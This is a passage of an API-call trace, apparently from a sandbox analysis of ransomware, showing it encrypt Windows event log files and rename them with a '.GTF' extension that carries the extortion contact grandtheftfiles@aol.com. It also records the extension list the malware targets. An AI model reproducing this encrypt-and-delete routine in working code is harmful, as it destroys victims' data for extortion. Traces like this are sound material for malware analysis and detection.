	[0076.546] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0076.549] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1118208) returned 1
	[0076.549] CloseHandle (hObject=0x2d4) returned 1
	[0076.551] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20
	[0076.551] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.551] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0076.551] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.551] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.551] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0076.552] GetLastError () returned 0x0
	[0076.552] ReadFile (in: hFile=0x2d4, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0076.916] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0076.935] ReadFile (in: hFile=0x2d4, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11010, lpOverlapped=0x0) returned 1
	[0077.437] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11020, lpOverlapped=0x0) returned 1
	[0077.442] ReadFile (in: hFile=0x2d4, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.442] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x134, lpOverlapped=0x0) returned 1
	[0077.442] SetEndOfFile (hFile=0x36c) returned 1
	[0077.853] CloseHandle (hObject=0x36c) returned 1
	[0078.825] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.825] SetEndOfFile (hFile=0x2d4) returned 1
	[0078.868] CloseHandle (hObject=0x2d4) returned 1
	[0078.868] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0078.869] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1
	[0078.881] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.892] lstrlenW (lpString=".doc") returned 4
	[0078.892] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.892] lstrlenW (lpString=".docx") returned 5
	[0078.892] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.892] lstrlenW (lpString=".pdf") returned 4
	[0078.892] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.892] lstrlenW (lpString=".xls") returned 4
	[0078.892] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.892] lstrlenW (lpString=".xlsx") returned 5
	[0078.892] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.892] lstrlenW (lpString=".ppt") returned 4
	[0078.892] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.892] lstrlenW (lpString=".zip") returned 4
	[0078.892] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.892] lstrlenW (lpString=".rar") returned 4
	[0078.892] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.892] lstrlenW (lpString=".bz2") returned 4
	[0078.892] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.892] lstrlenW (lpString=".7z") returned 3
	[0078.892] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.892] lstrlenW (lpString=".dbf") returned 4
	[0078.893] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.893] lstrlenW (lpString=".1cd") returned 4
	[0078.893] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.893] lstrlenW (lpString=".jpg") returned 4
	[0078.893] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.893] lstrlenW (lpString=".doc") returned 4
	[0078.893] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString=".docx") returned 5
	[0078.893] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.893] lstrlenW (lpString=".pdf") returned 4
	[0078.893] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString=".xls") returned 4
	[0078.893] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString=".xlsx") returned 5
	[0078.893] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.893] lstrlenW (lpString=".ppt") returned 4
	[0078.893] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.893] lstrlenW (lpString=".zip") returned 4
	[0078.893] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString=".rar") returned 4
	[0078.893] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString=".bz2") returned 4
	[0078.893] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.893] lstrlenW (lpString=".7z") returned 3
	[0078.894] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.894] lstrlenW (lpString=".dbf") returned 4
	[0078.894] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.894] lstrlenW (lpString=".1cd") returned 4
	[0078.894] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0078.894] lstrlenW (lpString=".jpg") returned 4
	[0078.894] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.894] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0078.894] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51
	[0078.894] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.191] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0079.191] CloseHandle (hObject=0x35c) returned 1
	[0079.191] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20
	[0079.191] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0079.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0079.191] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.191] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0080.691] GetLastError () returned 0x0
	[0080.691] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.721] WriteFile (in: hFile=0x39c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.723] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.724] WriteFile (in: hFile=0x39c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x13a, lpOverlapped=0x0) returned 1
	[0080.724] SetEndOfFile (hFile=0x39c) returned 1
	[0080.736] CloseHandle (hObject=0x39c) returned 1
	[0080.738] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.738] SetEndOfFile (hFile=0x35c) returned 1
	[0080.740] CloseHandle (hObject=0x35c) returned 1
	[0080.740] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.740] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.741] lstrlenW (lpString=".doc") returned 4
	[0080.741] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString=".docx") returned 5
	[0080.741] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.741] lstrlenW (lpString=".pdf") returned 4
	[0080.741] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString=".xls") returned 4
	[0080.741] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString=".xlsx") returned 5
	[0080.741] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.741] lstrlenW (lpString=".ppt") returned 4
	[0080.741] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.741] lstrlenW (lpString=".zip") returned 4
	[0080.741] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString=".rar") returned 4
	[0080.741] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString=".bz2") returned 4
	[0080.741] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString=".7z") returned 3
	[0080.741] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.741] lstrlenW (lpString=".dbf") returned 4
	[0080.741] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.741] lstrlenW (lpString=".1cd") returned 4
	[0080.741] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.741] lstrlenW (lpString=".jpg") returned 4
	[0080.741] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.741] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.741] lstrlenW (lpString=".doc") returned 4
	[0080.741] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString=".docx") returned 5
	[0080.742] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.742] lstrlenW (lpString=".pdf") returned 4
	[0080.742] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString=".xls") returned 4
	[0080.742] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString=".xlsx") returned 5
	[0080.742] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.742] lstrlenW (lpString=".ppt") returned 4
	[0080.742] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.742] lstrlenW (lpString=".zip") returned 4
	[0080.742] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString=".rar") returned 4
	[0080.742] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString=".bz2") returned 4
	[0080.742] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString=".7z") returned 3
	[0080.742] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.742] lstrlenW (lpString=".dbf") returned 4
	[0080.742] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.742] lstrlenW (lpString=".1cd") returned 4
	[0080.742] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.742] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0080.742] lstrlenW (lpString=".jpg") returned 4
	[0080.742] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.742] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.742] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56
	[0080.742] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.743] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=69632) returned 1
	[0080.743] CloseHandle (hObject=0x35c) returned 1
	[0080.743] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20
	[0080.743] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.743] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0080.743] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.743] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.743] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0080.743] GetLastError () returned 0x0
	[0080.743] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.746] WriteFile (in: hFile=0x39c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.748] ReadFile (in: hFile=0x35c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.748] WriteFile (in: hFile=0x39c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x144, lpOverlapped=0x0) returned 1
	[0080.748] SetEndOfFile (hFile=0x39c) returned 1
	[0080.748] CloseHandle (hObject=0x39c) returned 1
	[0080.751] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.751] SetEndOfFile (hFile=0x35c) returned 1
	[0080.752] CloseHandle (hObject=0x35c) returned 1
	[0080.752] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0080.753] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1
	[0080.753] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.753] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.753] lstrlenW (lpString=".doc") returned 4
	[0080.753] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.753] lstrlenW (lpString=".docx") returned 5
	[0080.753] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.753] lstrlenW (lpString=".pdf") returned 4
	[0080.753] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.753] lstrlenW (lpString=".xls") returned 4
	[0080.753] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.753] lstrlenW (lpString=".xlsx") returned 5
	[0080.753] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.753] lstrlenW (lpString=".ppt") returned 4
	[0080.753] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.753] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.753] lstrlenW (lpString=".zip") returned 4
	[0080.753] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.753] lstrlenW (lpString=".rar") returned 4
	[0080.753] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.753] lstrlenW (lpString=".bz2") returned 4
	[0080.753] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.753] lstrlenW (lpString=".7z") returned 3
	[0080.754] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.754] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.754] lstrlenW (lpString=".dbf") returned 4
	[0080.754] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.754] lstrlenW (lpString=".1cd") returned 4
	[0080.754] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.754] lstrlenW (lpString=".jpg") returned 4
	[0080.754] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.754] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.754] lstrlenW (lpString=".doc") returned 4
	[0080.754] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString=".docx") returned 5
	[0080.754] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.754] lstrlenW (lpString=".pdf") returned 4
	[0080.754] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString=".xls") returned 4
	[0080.754] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString=".xlsx") returned 5
	[0080.754] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.754] lstrlenW (lpString=".ppt") returned 4
	[0080.754] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.754] lstrlenW (lpString=".zip") returned 4
	[0080.754] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString=".rar") returned 4
	[0080.754] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.754] lstrlenW (lpString=".bz2") returned 4
	[0080.755] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.755] lstrlenW (lpString=".7z") returned 3
	[0080.755] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.755] lstrlenW (lpString=".dbf") returned 4
	[0080.755] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.755] lstrlenW (lpString=".1cd") returned 4
	[0080.755] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64
	[0080.755] lstrlenW (lpString=".jpg") returned 4
	[0080.755] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.755] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0080.755] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53
